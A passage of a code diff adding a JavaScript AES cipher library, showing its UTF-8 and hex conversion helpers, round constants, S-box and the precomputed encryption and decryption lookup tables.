targetArray.set(sourceArray, targetStart); + } + + + + var convertUtf8 = (function() { + function toBytes(text) { + var result = [], i = 0; + text = encodeURI(text); + while (i < text.length) { + var c = text.charCodeAt(i++); + + // if it is a % sign, encode the following 2 bytes as a hex value + if (c === 37) { + result.push(parseInt(text.substr(i, 2), 16)) + i += 2; + + // otherwise, just the actual byte + } else { + result.push(c) + } + } + + return coerceArray(result); + } + + function fromBytes(bytes) { + var result = [], i = 0; + + while (i < bytes.length) { + var c = bytes[i]; + + if (c < 128) { + result.push(String.fromCharCode(c)); + i++; + } else if (c > 191 && c < 224) { + result.push(String.fromCharCode(((c & 0x1f) << 6) | (bytes[i + 1] & 0x3f))); + i += 2; + } else { + result.push(String.fromCharCode(((c & 0x0f) << 12) | ((bytes[i + 1] & 0x3f) << 6) | (bytes[i + 2] & 0x3f))); + i += 3; + } + } + + return result.join(''); + } + + return { + toBytes: toBytes, + fromBytes: fromBytes, + } + })(); + + var convertHex = (function() { + function toBytes(text) { + var result = []; + for (var i = 0; i < text.length; i += 2) { + result.push(parseInt(text.substr(i, 2), 16)); + } + + return result; + } + + // http://ixti.net/development/javascript/2011/11/11/base64-encodedecode-of-utf8-in-browser-with-js.html + var Hex = '0123456789abcdef'; + + function fromBytes(bytes) { + var result = []; + for (var i = 0; i < bytes.length; i++) { + var v = bytes[i]; + result.push(Hex[(v & 0xf0) >> 4] + Hex[v & 0x0f]); + } + return result.join(''); + } + + return { + toBytes: toBytes, + fromBytes: fromBytes, + } + })(); + + + // Number of rounds by keysize + var numberOfRounds = {16: 10, 24: 12, 32: 14} + + // Round constant words + var rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; + + // S-box and Inverse S-box (S is for Substitution) + var S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0x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e2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; + + // Transformations for encryption + var T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; + var T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; + var T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; + var T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; + + // Transformations for decryption + var T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; + var T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 